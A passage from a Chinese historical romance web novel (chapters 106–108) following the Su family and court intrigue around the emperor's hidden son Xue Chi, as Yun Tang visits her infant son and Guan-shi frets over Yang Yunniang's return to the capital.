“苏钰啊。”显庆皇帝想起来了,笑着看向薛迟,“就是那天我给你指婚时,她还站起身想抗旨。” 薛迟道:“她也是着急,还请皇上见谅。” “她爹苏天翊为我大周出生入死,这点小事,我就不跟她计较了。”显庆皇帝笑着说。 薛驸马笑着道:“皇上仁厚。” 过来之前,薛迟薛驸马对过话,特意提到苏钰,是希望显庆皇帝对苏钰加强印象。 最好能意识到,苏钰与薛迟是两情相悦,等昭华公主的事了之后,就直接指婚。 没想到显庆皇帝没接这茬,虽然有可能是显庆皇帝没听出这弦外之音,但既然不接茬,话就不好直说。 目的虽未达成,薛驸马看显庆皇帝心情甚好,便借故离开,留薛迟与显庆皇帝两个。 刘安见状,也悄悄离开,守在养心殿门口。 “儿臣给父王请安。”薛迟跪下说着。 显庆皇帝听到这声父王,十分欣慰,连忙扶薛迟起来,“这么多年,太委屈你了。” 元后所出的嫡长子,本该出生即受封太子,享受无限尊荣,而不是像现在这样,养于臣子家中,叫声父王还得偷偷摸摸。 “儿臣从来不觉得委屈。”薛迟说着。 看看还在皇宫的大皇子,他真不委屈。 不管关太后,还是关贵妃,都容不下非关姓女所出的皇子。 “当年你母亲,早料到老妖婆会趁她生产时发难,提前布局,依然没能保住自己。”显庆皇帝说的时候,眼泪差点落下来。 程皇后贤良淑德不说,更重要的是十分有主意,虽是女子,性格却是外柔内刚。 虽然相处时间很短,显庆皇帝却时常怀念。 正如算命先生说的,八字好,特别旺夫,两人在一起时,他就觉得万事顺心。 程皇后把所有活都干完了,他只要好吃好喝好玩就行,可不是顺嘛。 薛迟默然听着,程皇后在他出世当天难产去世,他从来没有见过程皇后,却时常怀念。 薛驸马跟他说过,程皇后是不用死的,但她却用自己的命换了他一命。 关太后掌权多年,眼线众多,她不真死,送不走薛迟。 母亲用自己的命换了他的命,薛迟忘不了,忘不了母亲的恩,更忘不了母亲的仇。 “那老妖婆拿昭华的婚事试探你,我担心她识破,不得己答应。”显庆皇帝说着,“不要紧,我己有对策。” 卦象己有显示,薛迟很快就要恢复本来身份。 嫡长子,理所当然加封太子,与昭华的婚事自然就吹了。 至于中间过程,命运会自然而然的推动。 “儿子想为您分忧,交给我吧。”薛迟说着。 他不知道显庆皇帝打算干什么,但他最好什么都不做。 显庆皇帝十分欣慰,当年程皇后也时常这么跟他说,“也好,你来料理吧。” “请父王放心。”薛迟说着。 父子说话,薛迟从来不敢久留。 哪怕现在与关太后几乎是打明牌,他也不想此时节外生枝。 薛迟离开,显庆皇帝心情好了许多,本想再卜一卦,又想到事不过三,今天不能再占卜了,只得作罢。 又因朝政多是关太后把持,显庆皇帝要处理的军国大事本就不多,薛迟又十分孝顺,理所当然的替他分忧。 这让显庆皇帝很闲,养心殿坐着无趣,“摆驾,去看看李常在。” 李常在是显庆皇帝的新宠,七个月的身孕早己显怀,显庆皇帝依然喜欢她,总是满怀期待的摸着她圆滚滚的肚子。 “给皇上请安。” 李常在摸着腰身欲跪下,显庆皇帝连忙扶起她,“早跟你说过,怀着身子就不要行礼了。” 李常在笑着,十分高兴的模样,“皇上如此厚待嫔妾,嫔妾不知该如何以报皇恩。” “你只要好好养着身子,给朕生个健康的皇子,就是报答了。”显庆皇帝高兴说着。 李常在模样并不出众,但八字好,虽然不及程皇后那样旺他,却是能出生贵子的命格。 薛迟是贵子,还是可以承家业的贵子。但自幼不在身侧,就是借着晋阳长公主的关系,父子得己时常见面,显庆皇帝总觉得膝下寂寞。 三皇子也是贵子,所有的老师都对他说,三皇子本性纯良,是难得的好孩子。 但想到关太后,以及关贵妃,显庆皇帝对这个儿子是厌恶透了。别说父子之情,连见都不想见。 至于傻了的大皇子,即不是贵子,还是傻子。显庆皇帝早忘了这个儿子的存在。 现在能生出贵子的李常在有孕,显庆皇帝充满了期待。 按卦算推测,关太后离死不远了。关太后死了,他这个皇帝也终于能实权在手。 到时候李常在所出的贵子,他就亲自抚养,好好体会一把父子天伦之乐。 *** 下人们打包收拾东西,叶氏带着苏钰和云棠辞别亲友。 至于苏邑,则去帮杨云娘和程采蓝收拾东西。 杨云娘几乎是净身出户,就带着一个老仆,千里迢迢来到直隶。本来没什么东西,架不住钱夫人送她东西。 还有一部分是钱夫人送给京城众人的礼物,又格外备了一份给谷夫人。 “年龄大了,腿脚都不好了,直隶与京城对你们年轻人不远,对我们这些老家伙就远在天边了。”钱夫人抹泪说着。 难得有一个投缘的姐妹,但年龄越来越大,书信来往都有些难,更不用说见面。 苏天华夫妻能带着孩子回直隶,给她贺寿,虽然是恰巧。杨云娘能在落难之时能想到她来投奔,她是真的高兴。 该知足了。 再有往来,应该是她亡故后,苏家派人来吊唁。 “老太太快别这么说,等采蓝的婚事办完,我回来陪着老太太。”杨云娘笑着说。 “那怎么行,总不能因为我一个老太婆,让你们母女分离。”钱夫人笑着说,拉着杨云娘的手说,“好好对你母亲尽孝。” 养女远嫁,虽然是不得己,但这么多年了,谷夫人心里舒服不了。 临老了,女儿外孙女归于膝下,何尝不是一种安慰。 众人闲话到中午,钱夫人留饭。 叶氏与杨云娘议定出发时间,除了随身物品外,一应要带走的己全部装车。 至于被苏邑派到江阴的管事,目前还没消息,估计还得一个月。 中饭后,叶氏带着苏钰,苏邑和云棠从四房出来,没回家,直接去看二叔公。 这趟来直隶,多亏二叔公照顾,还借了房舍给他们。要回去了,自然得过去登门道谢。 叶氏备了不少礼物,与二叔公寒暄到下午,二叔公本欲留饭,叶氏推说还得回去收拾东西。拒了二叔公留饭,这才坐车回去。 忙碌一天,晚饭过后,苏钰辞了叶氏回房休息。 云棠一副心不在焉的模样,叶氏知她心事,“你若是想带着诚哥儿一起回京,我与你父亲皆没意见。” 苏天华早就说过,云棠想带诚哥儿回国公府抚养是可以的。 母子连心,当娘的身上掉下来的肉,云棠不愿意母子分离也是人之常情。 尤其是这回,回京之后,苏家就要公布云棠的身份。若是带着诚哥儿一起回去,苏家自会承认他的身份。 要是没带回去,从此之后,母子缘份也就断了。 云棠摇摇头,“我只想临走前见见他。” 与陆锦感情还好时,她最大的愿望就是给陆锦当妾,可以时常看到诚哥儿。 后来…… 中间发生了什么,她己经不想回想。 现在,陆锦死了。 对于诚哥儿,做为母亲她有愧,但实在不想把诚哥儿带在身边抚养。 与陆锦的一切都己经结束,她想重新开始。 “应该的。”叶氏说着,“我让婆子过去传个话。” 陆锦都死了,宁阳侯府也不闹腾了。 人死灯灭,事情也就了了。 话音刚落,就有婆子进门来说,“宁阳侯府的大奶奶来了,说是知道太太和小姐们要走了,前来践行。” 原本对于宁阳侯府的人,门房会直接打出去。 但这回来的,说是宁阳侯府的大奶奶,一身孝服,极其会说实话。 婆子犹豫一下,决定给传话。 “大奶奶?哪个大奶奶?”叶氏问着。 难道宁阳侯府这么快就过继了? 婆子看一眼云棠,“说是陆大爷死前就定下来的未婚妻,愿意为大爷守节,抱着牌位拜的堂。” 云棠知道是谁了,她是见过的胡四娘的,对胡四娘印象很好,对叶氏道:“我知道她,很是通情达理。” 她当年还幸庆过,胡四娘这个正房太太,不是会拿捏人的,很好相处。 叶氏半信半疑,她虽然没有宅斗经验,但了解人性。 十几岁的小女孩,要能贤良到被丈夫外室骑脸还无动于衷,要么是装的,要么是另有所求。 “那就见吧。”叶氏说着。 稍等片刻,婆子引着胡四娘进来。 刚进门,胡四娘就跪下了,先是道歉,只字没提陆锦,只说宁阳侯府教养无方,给苏家惹了麻烦。 又得知苏家要回京城,诚哥儿虽然还小,却总是哭闹不休,想着是感知母亲挂念他。 要是云棠愿意见见孩子,她就命人悄悄把孩子抱来,绝不让外人知晓。 要是不愿意,就当她没来过。 “你是真懂事。”叶氏不禁说着。 小小年纪,如此城府,说话也如此圆滑。 估摸着是娘家败落到不堪的地步了,才会抱着牌位嫁进陆家。 “苏太太过奖了。”胡四娘低头说着,“我是苦命之人,在家不得父母照看,夫家也平平。幸有诚哥儿在身旁,解我寂寞,我必然事事以他为先,好生照顾,不敢有丝懈怠。” “我虽没机会当生身母亲,但这些天来照顾诚哥儿,母子连心,也知道了当母亲的感受。所以才冒昧前来,打扰太太和二小姐。” 一席话说的得体又温良,云棠本来就见诚哥儿,有些期待的看向叶氏。 叶氏点点头,对胡四娘说着,“晚上天凉,小孩子也不宜抱来抱去的,不如让云棠跟你过去。不要惊动陆家人,悄悄进屋看看孩子。” 也正好派个人过去看看,诚哥儿现在的生活环境到底如何。 诚哥儿身份尴尬,尤其是陆锦己死,陆家到底是什么打算也不好说。 要是宁阳侯和宁阳侯夫人,因云棠而记恨诚哥儿,打算另外过继幼子,或者陆锦还有其他亲生儿子,要放弃诚哥儿。 那将来宁阳侯府倒霉,只能是自己作的。 云棠是不打算抚养诚哥儿,并不表示苏家允许宁阳侯府虐待诚哥儿。 胡四娘高兴说着,“如此更好,太太体恤孩儿。要是二小姐方便,现在就跟我回去,诚哥儿这时候还没睡呢。” “如此麻烦了。”云棠说着。 叶氏唤来贴身侍侯的大丫头婆子,四个人跟着云棠同路。 都不用叶氏交代,己知叶氏的用意。 胡四娘拉着云棠与自己一道坐车,云棠不知叶氏的用意,她听出来了。 避免有私下往家里传话的嫌疑,胡四娘一定要在云棠眼皮子底下。 对于诚哥儿,胡四娘可以拍着胸脯说,她这个母亲绝对照顾的很到位。 两个奶妈,丫头婆子一大堆,住的屋子,用的使的,全部都是最好的。 担心惊动了宁阳侯夫妻,胡四娘带着云棠和叶氏派来的丫头婆子从后门进府。 奶妈刚喂了奶,正要哄睡觉,看到胡四娘带着云棠众人愣了一下,“大奶奶……” 胡四娘从奶妈怀里抱过诚哥儿,诚哥儿并不认生,也不哭闹,与胡四娘十分亲近。 不管诚哥儿还是翠儿的肚子,她都十分在意,这都是她将来的依靠。 小孩子嘛,只要常来照顾,自然也就亲近了。 “说句让二小姐恼的话,我是拿他当我亲生儿子看的。”胡四娘说着,“再大几岁,侯爷就会向朝廷请封,将来这侯府都是他的。” 叶氏派来的丫头婆子听懂了,再看屋内摆设,以及奶妈的穿戴,以及诚哥儿对胡四娘的态度。 胡四娘对诚哥儿是真的很好。 云棠并未注意到,原本想抱抱诚哥儿,但看他与胡四娘十分亲近,高兴之余心头却涌起千头万绪。 小孩子长的太快,模样变的更快。眼前的诚哥儿,她都不认得了。 此回回京之后,母子再见不知何时,只怕到时候更认不得了。 “抱抱他吧。”胡四娘说着,欲把诚哥儿抱给云棠。 云棠下意识想接过来,手却不自觉得颤抖起来。 诚哥儿是她的儿子,也是陆锦的孩子。 她杀了陆锦。 “哇”诚哥儿突然哭了起来。 胡四娘连忙哄他,常抱的关系,哄的很快,诚哥儿很快就不哭了。 云棠看在眼里,原本焦虑的心情平静下来。 她知道胡四娘会把诚哥儿照顾好,她可以安心离开了。 “你照顾的很好。”云棠轻声说着。 第107章 第 107 章 “给姑娘请安。”…… “给姑娘请安。” 陈平出现在面前时, 苏钰怔了一下,客气说着,“是陈大人啊,突然来访, 是有什么事吗?” 虽然前几天才见过, 此时再见, 苏钰心情却是全然不同。 陈平是薛迟的人, 恋人的手下,说话行事自然可以随便些。 哪怕在薛迟被指婚后, 就是理智上知道与薛迟要分开。 但在感情上依然觉得事有转圜,并未与薛迟彻底分手。 而现在…… 薛迟并不是她的笔友,这场乌龙,即让她觉得不可思议又带着几分悲伤。 她开始怀疑她与薛迟之间的感情,自然不会再像以前那样, 很随意的跟陈平说话。 “听闻姑娘要回京城了,下官特来拜别。”陈平笑着说。 事情当然是没有的,但未来主母要回家了, 当臣下的自然得过来, 好歹混个脸熟。 “太客气了。”苏钰说着, “郑家脱籍之事还要劳烦大人,这份人情, 回京之后我自会补上。” “不, 不……”陈平连声说着,“下官奉大人之命前来,是为大人办差。” 要还人情,请找薛迟,千万别来找他。 提到薛迟, 苏钰不自觉得抿了一下唇,想问似又不知道要问什么。 气氛眼看着要冷下来,陈平何许人也,马上接上话,“为郑家脱籍之事,直隶的手续己经办的差不多。我己经给京城写了信,估摸着姑娘刚到京城,正式公文就能下来了。” 要是按正常流程走,至少是三个月甚至半年。 但薛迟都派他来了,事情自然办的快。 “陈大人辛苦了。”苏钰说着。 陈平笑着说,“我侍奉大人于左右,难得出来一趟,高兴还来不及,哪里会觉得辛苦。” 这是实话,薛迟是好主子,但很不好侍侯。 老板一天上班八个时辰,当下属的只能时间更长。 他都想不起上回休假是什么时候,有机会来直隶,出京办差对他来说跟渡假差不多。 跟侍侯薛迟比起来,应对其他官员,不,应该说是其他官员在讨好他。 “陈大人如此口舌,即使不跟着薛迟,也是前途无量。”苏钰说着,顿了一下问,“你为何愿意跟随他?” 笔友这层滤镜,遮住了真实的薛迟。 她想知道,别人眼里的薛迟是什么模样。 陈平笑着道:“下官得薛大人青眼,三生之幸,肝脑涂地以报之。” 苏钰出生就在巅峰,自然不懂得下面的想往上走有多难。 你口舌好,就有比口舌更好的,只凭这个想混出头,根本就是做梦。 京城卧虎藏龙,别说落魄的进士,状元混不出来都大有人在。 他是明经出身,都不是正经科班出身,在京城何止不容易,是太不容易了。 这种时候,薛迟赏识他,提携他,就是他的大恩人。天大的恩人,可以肝脑涂地回报的大恩人。 “好标准的回答。”苏钰说着,有几分自嘲说着,“问你这个问题,我也是蠢了。” 陈平留意苏钰神色,与上回见面时相比,苏钰神色显得十分低落。 有时候生气也是一种情绪,最怕的是气都不生了,失望了就转身走了。 “姑娘,可是有什么烦心事?”陈平试探性问着,“但凡姑娘说一声,薛大人自会帮您料理。” 回想上次见面,苏钰突然叫他回去,问他信的事。 虽然苏钰没说原由,但他心里却一直在嘀咕。 他虽然不知道信上写了什么,但要说薛迟会写让苏钰不高兴的事,也不可能。 薛迟那样的钢铁直男,姑娘家看完他的信,可能会觉得莫名其妙。但要说惹人生气,倒也不会。 “薛迟,他看话本吗?”苏钰突然问。 陈平摇摇头,却是道:“大人但凡能挤出一点点时间,都会看看书。只是大人公务繁忙,每天卷宗压榻书案,不像谢大人那样,建章营骑几天才轮一次值。” “别提谢无衣。”苏钰说着。 她只是问一句薛迟看不看话本,陈平就先把谢无衣拉踩一番,实属没必要。 陈平对薛迟,倒是真的忠心,时刻不忘帮着主子打击情敌。 “是,是,是我多嘴了。”陈平笑着说。 苏钰又问,“平常薛迟喜欢什么?” 喜欢什么? 陈平想了想,喜欢工作吧。 每天都在办公,大大小小各种事物,从六部到后宫,要办理的事务之多,让陈平都忍不住想,太子监国都不会这么忙吧。 至于个人喜好,一个住样板房,对于吃喝玩乐全部不在意的人,是真没有爱好。 “大人所有的喜欢,都给了姑娘。”陈平说着。 苏钰轻叹口气,“能不说这些恭维的话吗?” “姑娘误会了,我说的是事实。”陈平说着。 苏钰确实是薛迟第一个另眼相看之人,说薛迟把所有的感情都给她,并不是恭维。 这也正常,苏钰这样一个家世背景才貌皆出众的女子,全部热情扑向薛迟,这要是不动心,他都要怀疑薛迟不是男人了。 “好了,再说下去显得我更蠢了。”苏钰说着,端起旁边茶碗。 陈平明白,这是端茶送客,赶紧道:“下官告退。” *** 苏玫收到洪婆子的传信,马上坐车回了国公府。 进到玉粹堂,关氏床上躺着,大夫刚诊了脉,说没大碍,只是要放宽心些。 “母亲,你这是怎么了?”苏玫快步走到床前,关切问着。 洪婆子信上只说府里出了大事,让她回来劝慰关氏,并没有细说什么事。 “欺人太甚,欺人太甚。”洪婆子在关氏床前边哭边说,“老太太如此行事,置太太于何地。” “到底出什么事了?”苏玫问着。 关氏紧抿着唇,一言不发的模样。 洪婆子添油加醋说了一大堆,末了对苏玫说着,“老太太这是要三老爷休妻,把心心念念的养女扶正。还有二太太,平常看着与太太亲近,竟然让儿子娶她的女儿为妻,这不是摆明了要跟太太打对台。” 苏玫听着洪婆子颠三倒四的话,好一会才听出了重点。 苏天佑和杨云娘的八卦,满府皆知,从上到下,包括她和苏越。 在关氏嫁给苏天佑前,国公府上下都认为杨云娘是未来的三太太。杨云娘跟着苏天佑,不知来了国公府多少趟。 主子们能闭嘴不提,挡不住下人的嘴。 “杨氏守寡,老太太是要把她接回国公府住吗?”苏玫问着。 洪婆子更生气了,“老太太生怕委屈了那贱……给钱给宅子,与国公府就隔了一条街。还说要给她女儿添妆,要把私房给她们娘俩。” 谷夫人的嫁妆以及私房,本该是苏天佑的,将来是苏玫和苏越的。 现在给了杨云娘,苏玫和苏越也就少得了。 苏玫松口气,“只要不是同住一府,老太太愿意拿私房给她,倒也省心了。” 谷夫人虽然是一品诰命,杨阁老位居阁老,但谁都知道,杨家很穷。 就是谷夫人自己的嫁妆,谷家小门小户出身,嫁妆也没多少。 相比一般人家的老太太,谷夫人都称不上富裕。 跟苏家的财产比,那就更没得比了。 谷夫人就是把手里的私房,都给了杨云娘,苏玫都不在意。 自家有座金山,吃几辈子都吃不完,何必要因为旁边的三瓜两枣闹的不高兴。 相比谷夫人的私房给谁的问题,苏玫更在意,杨云娘住进国公府。 多尴尬啊。 尤其苏家下人里面老人不少,肯定会旧事重提。 要是苏天佑再发癫,快四十岁的老男人,儿女都己成人,为爱痴狂。 只是想一下那个场景,别说关氏,她都没脸见人。 “三姑奶奶怎么能这么说,杨氏死了丈夫是她命不好。在直隶呆的好好的,二太太却给老太太写信,还要给邑哥儿娶她的女儿,这就是欺负我们太太。”洪婆子拉着苏玫的手,抹泪说着。 “你是太太的女儿,这胳膊肘可不能往外拐。” “我当然是向着母亲的。”苏玫说着,对洪婆子的话却有些不太舒服。 苏邑看上程采蓝,要娶她,苏天华和叶氏同意了。 要是程采蓝有很厉害的身世,还可以说是看中对方背景。 程采蓝那样的家世,都能给苏邑当妾了,叶氏却能同意亲事,娶之为正妻。那肯定是苏邑真爱程采蓝,叶氏成全有情人。 这种在别人看来门不当户不对的婚姻,苏家会为爱成全。 苏天华和叶氏都能不在意程采蓝的身世背景,娶程采蓝进门当儿媳妇了。也就不会太在意,关氏对于此事的想法。 总不能因为叔叔十几年前的旧情,侄子不能娶心上人吧。 “依我说,既然杨氏非巴着老爷不放,那就入府为妾,妻妾分明。”洪婆子怒气冲冲说着。 “住口,你是觉得还不够乱吗,还要添把火!”苏玫声音大了起来,训斥着洪婆子。 杨云娘是谷夫人的养女,二房的亲家,让她入府为妾,先不说这话能不能说出口。 只是想一下苏天佑为爱发癫的模样,苏玫都头皮发麻。 杨氏要是嫁给苏天佑,苏天佑怎么可能让她当妾,必然是休妻再娶。 别人也许干不出来,苏天佑肯定能干出来。 眼下杨云娘回京既己成定居,谷夫人的安排就很好。不住一起,减少接触。 只要苏天佑没有发癫,闹着要和离,就能维持现状。 想想也能知道,男人不在意名声,女人是在意的。 程采蓝能嫁苏邑,那是一步登天了。就是为了女儿着想,杨云娘也不会与苏天佑重修旧好。 就这么当个远房亲戚,偶尔年节的时候见个面,也许还会说几句话。 半辈子都过去了,也都到了这个岁数。本来就是凑和的婚姻,就这么凑和到底。 人到中年,儿孙都大了,经不起刺激。 “三姑奶奶,你不能向着外人。”洪婆子委屈说着。 她感觉自己的主意好极了,杨云娘当了妾,自然任由关氏拿捏。 苏玫懒得与她说,虽然是母亲的陪房,但洪婆子实在蠢笨不堪,“你先出去,我与母亲说话。” “唉。”关氏一声叹息着,坐起身来。 洪婆子连忙去扶,又拿大引枕给关氏靠着,“太太,你别生气。” 关氏摇摇头,示意洪婆子退下,实在是聒噪的难受。 洪婆子这才心不甘情不愿的出去。 “我与你父亲是父母之命,媒灼之言,三书六礼进的苏家门。成亲十几载,不敢说兢兢业业,但生儿育女操持家务,没有哪里对不起苏天佑。”关氏说着。 杨云娘与苏天佑婚前有私情,那是他们不检点,私定终身本就不对。 三书六礼聘进门的才是正室,杨云娘不管跟苏天佑有什么情,在名份定下来后,都是不应该的存在。 “这是当然。”苏玫说着,“只有父亲对不起母亲,母亲没有错。” 要是关氏与苏天佑的婚姻是错的,那她和苏越成什么了。 关氏继续说,“昨天老太太说完后,我心里就很不舒服,思来想去一个晚上没睡着。” 关氏在后悔,她真的很后悔。 无数次反问自己,当年为什么要嫁给苏天佑。 出身名门,又有父母的疼爱,就是当时谣言四起,传的很难听,她也可以不嫁的。 她没有抗住压力,为了名节,为了面子,嫁给了苏天佑,把自己置于进退两难之地。 本以为这么多年过去,儿女都大了,苏越都要娶亲,她可以守着儿子媳妇过,杨云娘却又回来了,还成了亲戚。 无法言喻的糟心感,时刻在提醒着她,她当年的决定是多么的错误。 “母亲,你何必……”放不下呢。 苏玫怕关氏伤心,没有说出口。 要是苏天佑与关氏有过一段前情,相爱夫妻兰因絮果走到如此的地步,那确实难受放不下。 问题是,两人又没爱情,分居十来年了,平常连句话都不想说,比陌生人好点有限。 夫妻己至如此地步,苏天佑的前情人回来就回来呗。 只要苏天佑不闹着要休妻,对关氏的生活没有任何影响。 就是苏天佑发癫,非得休妻娶杨云娘,那也是他先丢人现眼,弄不好还会影响仕途。 关氏也就是面子上难看,儿女大了,又有娘家可以依靠,手里有嫁妆和私房,回不回关家都能快活过完下半辈子。 有时候苏玫也不理解关氏,关氏可以接受苏天佑纳妾,哪怕有庶子庶女,她都能平常心对待。 唯独对杨云娘,人还没回来,只知道她要回京,就开始不舒服。 对苏天佑都能放下,为什么不放下杨云娘。 “你是不是觉得我不够大度。”关氏看着苏玫的神色,苦笑说着,“那么多年前的事,始终揪着不放。” 苏玫连连摇摇头,“我只是觉得母亲没必要在意,您并不需要父亲。” 有时候她会觉得,关氏好像被困在正妻这个角色里。 她嫁给苏天佑,得正室的位置,就要覆行正室的责任,哪怕苏天佑根本就不在意。 以前苏玫也不懂,与贺英成亲后,经历多了,什么都懂了。 她也犯过傻,为了贺英要死要活,把脸面丢尽。 现在不爱了,也就放下了,当然也后悔,但后悔没用。 她对贺英彻底无感,别说贺英旧情人归京,就是贺英再弄十个情人来。只要不花她的钱,不碍她的眼,她眼皮都不抬一下。 感情不是人生的全部,一个不爱的丈夫更不是。男人可以潇洒,女人也可以。 和离多好,实在和离不了,那就各过各的,各找各的乐子,谁也别碍谁的眼。 “我也不是在意,我只是……”关氏苦笑。 她只是后悔。 杨云娘回京,会让她更后悔。 苏玫也不知道该怎么安慰关氏,只是道,“我留下来陪母亲。” “好。” 第108章 第 108 章 苏玫在国公府住下…… 苏玫在国公府住下, 又因关氏身体不适,苏玫理所当然的帮忙协理家务。 关氏一直想教苏玫管家理事,正好趁着这个机会,手把手教她, 如何看帐本, 管理府里事务, 以及打理自己嫁妆。 “贺家是要分家的, 将来分出去单过,这些帐本你都得会看。”关氏对苏玫说着。 这也是贵妇的基本功课, 要是连帐本都不会看,管不住下人,家里乱成一团,是当家主母的耻辱。 苏玫装的认真听,心里却并不在意这些。 她只想学习打理嫁妆, 虽然她的嫁妆全是田产,每年出息稳定,就是庄头想搞鬼, 损失也有限。 但自己的产业, 还是安身立命的产业, 还是要谨慎对待。 管家什么的,她都不想跟贺英过了, 还有什么家可管的。 “太太, 三姑奶奶,刚才有小厮看到,刘顺家的拿了侯府的库房钥匙。”洪婆子进门说着,神情十分气愤。 谷夫人虽然给了宅子,但宅子想住人, 需要人打理收拾。 关氏管家,谷夫人倒没好意思支使府里的下人,只让刘顺家的带着自己屋里的下人,以及侯府的小子们去收拾。 估摸着屋子打扫干净了,需要家具摆设,就想到库房里的东西。 没开国公府的库房,开的侯府的库房。侯府是三房的,拿的全是三房的东西。 苏玫看一眼洪婆子,眼中带着嫌恶,因是关氏的陪房,她不好当面训斥,道:“侯府库房里就没什么东西,就是有些家具粗使家伙,值不了几两银子。” 当年苏震山和苏震岳是分了家的,但是苏震岳封侯之后,又两府合一府。 苏震岳对于钱财之类的素来不计较,不管是薪俸还是赏赐,全部都是关氏在打理,多数都在国公府的库房里。 大头都在国公府库房,侯府库房里没什么值钱东西。 就是有,侯府的库房钥匙,肯定是苏震岳给的,苏家上下谁敢去说苏震岳做的不对。 又不是差钱的人家,何必因为几两碎银子生气。尤其是在杨云娘的事情上,这不是让关氏更憋气吗。 “那将来都是越哥儿的。”洪婆子说着。 苏天佑是独子,苏越是唯一的孙子,侯府所有东西都是苏越的。 “你就闭嘴吧。”苏玫忍不住说着,“这是能乱说的吗,三房人共同生活,最后说都是越哥儿的,让人听到成什么样子。” 苏家情况复杂,先分家,又合府,三房人共居,还是堂兄弟。 再加上男人们对于金钱都不计较,帐本虽然有,但都没有细算过。 将来分家是肯定会分,但要怎么分,估计有得商议。 洪婆子这么大声喊着,东西都是越哥儿,置大房和二房于何地。 要是被人听到,传扬出去,三房的脸面往哪里放。 关氏也觉得洪婆子这话很不妥当,她管家很清楚家里的帐本。 论三房里谁挣的最多,必然是大房。 苏略非常善经营,京城店铺许多间,间间都赚钱。田产之类的更不用说了,每年出息也是一笔不小的数目。 再就是国公府长房一脉的祭田,属于英国公的,自然也是大房的。 二房有一半时间住在叶家,但是苏天华多数的薪俸赏赐皆是给了府里。 凭军功赚的是赏赐,年年皆有,打大胜仗赏的更多。还有苏邑跟着一起上阵,父子俩是双份赏赐。 反倒是三房,苏震岳军功封侯,赏赐当然不会少。但是爵位和宅子就占了大半,实际到手的金银反而不如苏天华的多。 苏天佑又是文官,每年薪俸都是有数的,都不够他一个人花的,全靠家里贴补。 侯府是苏震岳凭本事挣下来的,爵位传给苏天佑,再传给苏越,父子一脉相承理所当然。 但要说侯府所有的东西是苏越的,这话关氏也说不出口。 “够了。”关氏训斥洪婆子,“你是越发的不像样,什么话都敢乱说,让人听到,还以为我趁着管家要算计家产。” 洪婆子十分委屈,低头小声说着,“我是替太太委屈,要是为别的什么就算了,偏偏是给了杨氏。老太爷对老太太言听计从,要是……” “你有完没完!”苏玫怒声打断洪婆子,因为生气连关氏的脸色都不顾了,直接开骂,“让你上前侍侯,是为了给主子分忧的,你是天天嚼不了舌根。要是不能侍侯,就回自己家去。” 尤其是关氏正因为杨云娘回京,心里烦闷之事。 身边贴身侍侯的人,不哄着关氏开心,劝慰关氏,反而有事没事挑唆一通。 这样的下人,哪怕是陪房,在她看来也该打发了。仗着以前的情份,放了一家人的身契,给钱给地安享晚年。 “太太,三姑奶奶……”洪婆子顿时眼泪都落了下来,既觉得委屈更是面子无光。 苏玫是晚辈,她是关氏的陪房,怎么能这么骂她。 关氏越发觉得心烦,叹气道:“你出去吧。” “是。”洪婆子抹着泪出门去。 等洪婆子离开了,苏玫才道:“张妈妈跟着我,母亲身边缺了臂膀,我那边也没什么事,不如让张妈妈回来侍侯母亲。” 以前张婆子跟在关氏身边时,时常劝慰着关氏,不管是帮着管家,还是人情来往皆十分得体。 现在换成洪婆子,实在不像样,早点打发了才好。 “贺家人多事多,还是让她再陪你几年,我这里都料理的开。”关氏说着。 苏玫与贺英关系紧张,她还想着张婆子能劝着苏玫一些,不管怎么样,先把儿子生了。 等苏玫生了儿子,都稳定下来了。自己的丫头也训练好了,再让张婆子回来也不迟。 苏玫见关氏坚持,她也没再说。 她现在身边确实少不了张婆子,虽然有心腹丫头,也精明能干,但年龄还小,想得用还得仔细培养。 “母亲以后少听洪婆子乱说,您有我,还有越哥儿,其他的事情都不用太放心上。”苏玫说着。 关氏点点头,心里却总有股子意难平。 要是能放下,她早就放下了。 没放下,只因为放不下。 *** 三天后,一个风和日丽的日子,苏家众人动身回京。 多了云棠和杨云娘母女,大车多了两辆,又有一辆车拉行李。 程采蓝第一次进京,显得十分兴奋。拉着苏邑不停的说话,苏邑向来不善于言辞,却与程采蓝格外说的来。 一路上就听两人说个停,叶氏十分高兴,女儿找回来了,小儿子也有心上人,准备娶儿媳妇。 去时五天,回来也是五天。 周车劳顿,一路奔波,终于在天黑前到达京城。 天色己晚,众人也都累了。 苏天华带着二房众人先回叶家,杨云娘,程采蓝则与苏钰一起回国公府。 苏辰找回来了,最关心苏辰的是外公叶老太爷。 杨云娘离京多年,终于带着女儿回来,最在意的是谷夫人。 都有需要拜见的长辈,索性分开走。 约定明天中午二房回国公府,拜见苏震岳和谷夫人,晚上一起在国公府吃团圆饭。 车驾驶进国公府,绿川扶着苏钰从车上下来,就见刘顺家的己在二门等着。 “竟然是妈妈过来等着。”苏钰笑着说。 “大姑娘辛苦了。”刘顺家的笑着说,“老太太挂念的紧,我也有些着急,就过来了。” 杨云娘是谷夫人的养女,自幼得刘顺家的许多照顾,谷夫人挂念,她也挂念。 说话间,杨云娘和程采蓝从后面车上下来,刘顺家的看到杨云娘,眼泪顿时落了下来,哽咽说着,“姑娘……” 杨云娘眼泪也跟着落下来,上前见礼,“刘妈妈。” 刘顺家的抹着眼泪,高兴说着,“老太太等着呢,我们过去。” 二门换车去乐道堂,苏钰单独一辆车,杨云娘带着程采蓝另坐一辆车。 国公府对于杨云娘是故地重游,心中感慨颇多。 程采蓝则是好奇之余,有些惊讶。 她只知道苏邑是国公府公子,却不知道国公府的府邸竟然如此大,在府内行走还要坐车。 此时苏震岳,谷夫人,关氏,苏玫,苏越都已在乐道堂正房坐着。 尤其是苏玫,她从来没见过杨云娘,她出生时,杨云娘早就远嫁了。 她十分好奇,苏天佑的初恋到底长什么样子。 “大姑娘,姑太太带着姐儿坐车过来了。”婆子进门说着。 稍等片刻,外头脚步声响起,婆子打起帘子,刘顺家的扶着杨云娘进屋。 谷夫人看到她,眼泪落了下来,“云姐儿……” 杨云娘看到谷夫人,眼泪再也忍不住,“母亲。” 一声母亲叫的谷夫人心痛不己,起身上前抱住杨云娘,“这些年,苦了你了。” 杨云娘摇摇头,只是哭。 苏震岳旁边看着,也是心酸不己。 他见过杨云娘,当初苏天佑与杨云娘的婚事,他知道并且同意的。 虽然自己的婚姻一团糟,但苏震岳依然希望儿子能娶自己的心上人。 只是后来…… 母女俩抱头痛哭,还是苏天佑道:“骨肉团聚,是大喜事,母亲也别太伤心了。” 谷夫人拿手绢擦着眼泪,笑着说,“是啊,大喜的日子,哪能一直哭呢。” 杨云娘也擦擦眼泪,带着程采蓝上前,从苏震岳起,上前拜见。 “这是老太爷。”刘顺家的在旁边说着。 